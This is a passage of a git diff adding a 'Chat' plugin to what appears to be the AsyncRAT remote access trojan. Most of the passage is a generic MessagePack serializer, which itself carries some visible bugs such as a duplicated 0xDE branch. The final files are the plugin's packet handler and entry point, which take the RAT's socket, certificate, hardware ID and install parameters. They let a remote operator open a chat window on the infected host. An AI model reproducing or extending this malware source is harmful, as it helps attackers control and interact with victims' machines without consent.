return InnerAdd(); + } + + public MsgPack AddArrayChild() + { + return InnerAddArrayChild(); + } + + private void WriteMap(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x80 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDE; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDF; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + for (int i = 0; i < len; i++) + { + WriteTools.WriteString(ms, children[i].name); + children[i].Encode2Stream(ms); + } + } + + private void WirteArray(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x90 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDC; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDD; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + + for (int i = 0; i < len; i++) + { + ((MsgPack)children[i]).Encode2Stream(ms); + } + } + + public void SetAsInteger(Int64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.Integer; + } + + public void SetAsUInt64(UInt64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.UInt64; + } + + public UInt64 GetAsUInt64() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToUInt64((Int64)this.innerValue); + case MsgPackType.UInt64: + return (UInt64)this.innerValue; + case MsgPackType.String: + return UInt64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToUInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToUInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToUInt64((DateTime)this.innerValue); + default: + return 0; + } + + } + + public Int64 GetAsInteger() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return (Int64)this.innerValue; + case MsgPackType.UInt64: + return Convert.ToInt64((Int64)this.innerValue); + case MsgPackType.String: + return Int64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + public Double GetAsFloat() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToDouble((Int64)this.innerValue); + case MsgPackType.String: + return Double.Parse((String)this.innerValue); + case MsgPackType.Float: + return (Double)this.innerValue; + case MsgPackType.Single: + return (Single)this.innerValue; + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + + public void SetAsBytes(byte[] value) + { + this.innerValue = value; + this.valueType = MsgPackType.Binary; + } + + public byte[] GetAsBytes() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return BitConverter.GetBytes((Int64)this.innerValue); + case MsgPackType.String: + return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); + case MsgPackType.Float: + return BitConverter.GetBytes((Double)this.innerValue); + case MsgPackType.Single: + return BitConverter.GetBytes((Single)this.innerValue); + case MsgPackType.DateTime: + long dateval = ((DateTime)this.innerValue).ToBinary(); + return BitConverter.GetBytes(dateval); + case MsgPackType.Binary: + return (byte[])this.innerValue; + default: + return new byte[] { }; + } + } + + public void Add(string key, String value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsString(value); + } + + public void Add(string key, int value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsInteger(value); + } + + public bool LoadFileAsBytes(string fileName) + { + if (File.Exists(fileName)) + { + byte[] value = null; + FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); + value = new byte[fs.Length]; + fs.Read(value, 0, (int)fs.Length); + fs.Close(); + fs.Dispose(); + SetAsBytes(value); + return true; + } + else + { + return false; + } + + } + + public bool SaveBytesToFile(string fileName) + { + if (this.innerValue != null) + { + FileStream fs = new FileStream(fileName, FileMode.Append); + fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); + fs.Close(); + fs.Dispose(); + return true; + } + else + { + return false; + } + } + + public MsgPack ForcePathObject(string path) + { + MsgPack tmpParent, tmpObject; + tmpParent = this; + string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); + string tmp = null; + if (pathList.Length == 0) + { + return null; + } + else if (pathList.Length > 1) + { + for (int i = 0; i < pathList.Length - 1; i++) + { + tmp = pathList[i]; + tmpObject = tmpParent.FindObject(tmp); + if (tmpObject == null) + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + } + else + { + tmpParent = tmpObject; + } + } + } + tmp = pathList[pathList.Length - 1]; + int j = tmpParent.IndexOf(tmp); + if (j > -1) + { + return tmpParent.children[j]; + } + else + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + return tmpParent; + } + } + + public void SetAsNull() + { + Clear(); + this.innerValue = null; + this.valueType = MsgPackType.Null; + } + + public void SetAsString(String value) + { + this.innerValue = value; + this.valueType = MsgPackType.String; + } + + public String GetAsString() + { + if (this.innerValue == null) + { + return ""; + } + else + { + return this.innerValue.ToString(); + } + + } + + public void SetAsBoolean(Boolean bVal) + { + this.valueType = MsgPackType.Boolean; + this.innerValue = bVal; + } + + public void SetAsSingle(Single fVal) + { + this.valueType = MsgPackType.Single; + this.innerValue = fVal; + } + + public void SetAsFloat(Double fVal) + { + this.valueType = MsgPackType.Float; + this.innerValue = fVal; + } + + + + public void DecodeFromBytes(byte[] bytes) + { + using (MemoryStream ms = new MemoryStream()) + { + ms.Write(bytes, 0, bytes.Length); + ms.Position = 0; + DecodeFromStream(ms); + } + } + + public void DecodeFromFile(string fileName) + { + FileStream fs = new FileStream(fileName, FileMode.Open); + DecodeFromStream(fs); + fs.Dispose(); + } + + + + public void DecodeFromStream(Stream ms) + { + byte lvByte = (byte)ms.ReadByte(); + byte[] rawByte = null; + MsgPack msgPack = null; + int len = 0; + int i = 0; + + if (lvByte <= 0x7F) + { //positive fixint 0xxxxxxx 0x00 - 0x7f + SetAsInteger(lvByte); + } + else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Map; + len = lvByte - 0x80; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Array; + len = lvByte - 0x90; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf + { + len = lvByte - 0xA0; + SetAsString(ReadTools.ReadString(ms, len)); + } + else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) + { /// -1..-32 + // negative fixnum stores 5-bit negative integer + // +--------+ + // |111YYYYY| + // +--------+ + SetAsInteger((sbyte)lvByte); + } + else if (lvByte == 0xC0) + { + SetAsNull(); + } + else if (lvByte == 0xC1) + { + throw new Exception("(never used) type $c1"); + } + else if (lvByte == 0xC2) + { + SetAsBoolean(false); + } + else if (lvByte == 0xC3) + { + SetAsBoolean(true); + } + else if (lvByte == 0xC4) + { // max 255 + len = ms.ReadByte(); + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC5) + { // max 65535 + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToUInt16(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC6) + { // binary max: 2^32-1 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) + { + throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); + } + else if (lvByte == 0xCA) + { // float 32 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + + SetAsSingle(BitConverter.ToSingle(rawByte, 0)); + } + else if (lvByte == 0xCB) + { // float 64 + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsFloat(BitConverter.ToDouble(rawByte, 0)); + } + else if (lvByte == 0xCC) + { // uint8 + // uint 8 stores a 8-bit unsigned integer + // +--------+--------+ + // | 0xcc |ZZZZZZZZ| + // +--------+--------+ + lvByte = (byte)ms.ReadByte(); + SetAsInteger(lvByte); + } + else if (lvByte == 0xCD) + { // uint16 + // uint 16 stores a 16-bit big-endian unsigned integer + // +--------+--------+--------+ + // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); + } + else if (lvByte == 0xCE) + { + // uint 32 stores a 32-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+ + // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); + } + else if (lvByte == 0xCF) + { + // uint 64 stores a 64-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); + } + else if (lvByte == 0xDC) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDD) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xD9) + { + // str 8 stores a byte array whose length is upto (2^8)-1 bytes: + // +--------+--------+========+ + // | 0xd9 |YYYYYYYY| data | + // +--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDF) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDA) + { + // str 16 stores a byte array whose length is upto (2^16)-1 bytes: + // +--------+--------+--------+========+ + // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + // +--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDB) + { + // str 32 stores a byte array whose length is upto (2^32)-1 bytes: + // +--------+--------+--------+--------+--------+========+ + // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + // +--------+--------+--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xD0) + { + // int 8 stores a 8-bit signed integer + // +--------+--------+ + // | 0xd0 |ZZZZZZZZ| + // +--------+--------+ + SetAsInteger((sbyte)ms.ReadByte()); + } + else if (lvByte == 0xD1) + { + // int 16 stores a 16-bit big-endian signed integer + // +--------+--------+--------+ + // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt16(rawByte, 0)); + } + else if (lvByte == 0xD2) + { + // int 32 stores a 32-bit big-endian signed integer + // +--------+--------+--------+--------+--------+ + // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt32(rawByte, 0)); + } + else if (lvByte == 0xD3) + { + // int 64 stores a 64-bit big-endian signed integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt64(rawByte, 0)); + } + } + + public byte[] Encode2Bytes() + { + using (MemoryStream ms = new MemoryStream()) + { + Encode2Stream(ms); + byte[] r = new byte[ms.Length]; + ms.Position = 0; + ms.Read(r, 0, (int)ms.Length); + return r; + } + } + + public void Encode2Stream(Stream ms) + { + switch (this.valueType) + { + case MsgPackType.Unknown: + case MsgPackType.Null: + WriteTools.WriteNull(ms); + break; + case MsgPackType.String: + WriteTools.WriteString(ms, (String)this.innerValue); + break; + case MsgPackType.Integer: + WriteTools.WriteInteger(ms, (Int64)this.innerValue); + break; + case MsgPackType.UInt64: + WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); + break; + case MsgPackType.Boolean: + WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); + break; + case MsgPackType.Float: + WriteTools.WriteFloat(ms, (Double)this.innerValue); + break; + case MsgPackType.Single: + WriteTools.WriteFloat(ms, (Single)this.innerValue); + break; + case MsgPackType.DateTime: + WriteTools.WriteInteger(ms, GetAsInteger()); + break; + case MsgPackType.Binary: + WriteTools.WriteBinary(ms, (byte[])this.innerValue); + break; + case MsgPackType.Map: + WriteMap(ms); + break; + case MsgPackType.Array: + WirteArray(ms); + break; + default: + WriteTools.WriteNull(ms); + break; + } + } + + public String AsString + { + get + { + return GetAsString(); + } + set + { + SetAsString(value); + } + } + + public Int64 AsInteger + { + get { return GetAsInteger(); } + set { SetAsInteger((Int64)value); } + } + + public Double AsFloat + { + get { return GetAsFloat(); } + set { SetAsFloat(value); } + } + public MsgPackArray AsArray + { + get + { + lock (this) + { + if (refAsArray == null) + { + refAsArray = new MsgPackArray(this, children); + } + } + return refAsArray; + } + } + + + public MsgPackType ValueType + { + get { return valueType; } + } + + + IEnumerator IEnumerable.GetEnumerator() + { + return new MsgPackEnum(children); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPackType.cs new file mode 100644 index 0000000..2567ae6 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPackType.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public enum MsgPackType + { + Unknown = 0, + Null = 1, + Map = 2, + Array = 3, + String = 4, + Integer = 5, + UInt64 = 6, + Boolean = 7, + Float = 8, + Single = 9, + DateTime = 10, + Binary = 11 + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/ReadTools.cs new file mode 100644 index 0000000..9e85968 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/ReadTools.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + class ReadTools + { + public static String ReadString(Stream ms, int len) + { + byte[] rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + + public static String ReadString(Stream ms) + { + byte strFlag = (byte)ms.ReadByte(); + return ReadString(strFlag, ms); + } + + public static String ReadString(byte strFlag, Stream ms) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = null; + int len = 0; + if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) + { + len = strFlag - 0xA0; + } + else if (strFlag == 0xD9) + { + len = ms.ReadByte(); + } + else if (strFlag == 0xDA) + { + rawBytes = new byte[2]; + ms.Read(rawBytes, 0, 2); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToUInt16(rawBytes, 0); + } + else if (strFlag == 0xDB) + { + rawBytes = new byte[4]; + ms.Read(rawBytes, 0, 4); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToInt32(rawBytes, 0); + } + rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/WriteTools.cs new file mode 100644 index 0000000..3de69fa --- /dev/null +++ b/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/WriteTools.cs @@ -0,0 +1,199 @@ +using System; +using System.IO; + +namespace Plugin.MessagePack +{ + class WriteTools + { + public static void WriteNull(Stream ms) + { + ms.WriteByte(0xC0); + } + + public static void WriteString(Stream ms, String strVal) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 31) + { + b = (byte)(0xA0 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 255) + { + b = 0xD9; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDA; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDB; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + public static void WriteBinary(Stream ms, byte[] rawBytes) + { + + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 255) + { + b = 0xC4; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xC5; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xC6; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + + public static void WriteFloat(Stream ms, Double fVal) + { + ms.WriteByte(0xCB); + ms.Write(BytesTools.SwapDouble(fVal), 0, 8); + } + + public static void WriteSingle(Stream ms, Single fVal) + { + ms.WriteByte(0xCA); + ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); + } + + public static void WriteBoolean(Stream ms, Boolean bVal) + { + if (bVal) + { + ms.WriteByte(0xC3); + } + else + { + ms.WriteByte(0xC2); + } + } + + + public static void WriteUInt64(Stream ms, UInt64 iVal) + { + ms.WriteByte(0xCF); + byte[] dataBytes = BitConverter.GetBytes(iVal); + ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); + } + + public static void WriteInteger(Stream ms, Int64 iVal) + { + if (iVal >= 0) + { // 正数 + if (iVal <= 127) + { + ms.WriteByte((byte)iVal); + } + else if (iVal <= 255) + { //UInt8 + ms.WriteByte(0xCC); + ms.WriteByte((byte)iVal); + } + else if (iVal <= (UInt32)0xFFFF) + { //UInt16 + ms.WriteByte(0xCD); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= (UInt32)0xFFFFFFFF) + { //UInt32 + ms.WriteByte(0xCE); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else + { //Int64 + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + } + else + { // <0 + if (iVal <= Int32.MinValue) //-2147483648 // 64 bit + { + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + else if (iVal <= Int16.MinValue) // -32768 // 32 bit + { + ms.WriteByte(0xD2); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else if (iVal <= -128) // -32768 // 32 bit + { + ms.WriteByte(0xD1); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= -32) + { + ms.WriteByte(0xD0); + ms.WriteByte((byte)iVal); + } + else + { + ms.WriteByte((byte)iVal); + } + } // end <0 + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/Packet.cs b/AsyncRAT-C#/Plugin/Chat/Chat/Packet.cs new file mode 100644 index 0000000..8a08a81 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Chat/Chat/Packet.cs @@ -0,0 +1,86 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace Plugin +{ + public static class Packet + { + public static FormChat GetFormChat; + + public static void Read(object data) + { + try + { + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes((byte[])data); + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "chat": + { + new HandlerChat().CreateChat(); + break; + } + + case "chatWriteInput": + { + new HandlerChat().WriteInput(unpack_msgpack); + break; + } + + case "chatExit": + { + new HandlerChat().ExitChat(); + break; + } + } + } + catch { } + } + } + + public class HandlerChat + { + + public void CreateChat() + { + new Thread(() => + { + Packet.GetFormChat = new FormChat(); + Packet.GetFormChat.ShowDialog(); + }).Start(); + } + public void WriteInput(MsgPack unpack_msgpack) + { + if (Packet.GetFormChat.InvokeRequired) + { + Packet.GetFormChat.Invoke((MethodInvoker)(() => + { + Console.Beep(); + Packet.GetFormChat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Input").AsString + Environment.NewLine); + })); + } + } + + public void ExitChat() + { + if (Packet.GetFormChat.InvokeRequired) + { + Packet.GetFormChat.Invoke((MethodInvoker)(() => + { + Packet.GetFormChat?.Close(); + Packet.GetFormChat?.Dispose(); + })); + } + Connection.Disconnected(); + GC.Collect(); + } + } +} diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/Plugin.cs b/AsyncRAT-C#/Plugin/Chat/Chat/Plugin.cs new file mode 100644 index 0000000..9fec2d9 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Chat/Chat/Plugin.cs @@ -0,0 +1,33 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public class Plugin + { + public static Socket Socket; + public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile) + { + Debug.WriteLine("Plugin Invoked"); + Socket = socket; + Connection.ServerCertificate = certificate; + Connection.Hwid = hwid; + new Thread(() => + { + Connection.InitializeClient(); + }).Start(); + + while (Connection.IsConnected) + { + Thread.Sleep(1000); + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Plugin/Chat/Chat/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..57a719f --- /dev/null +++ b/AsyncRAT-C#/Plugin/Chat/Chat/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] 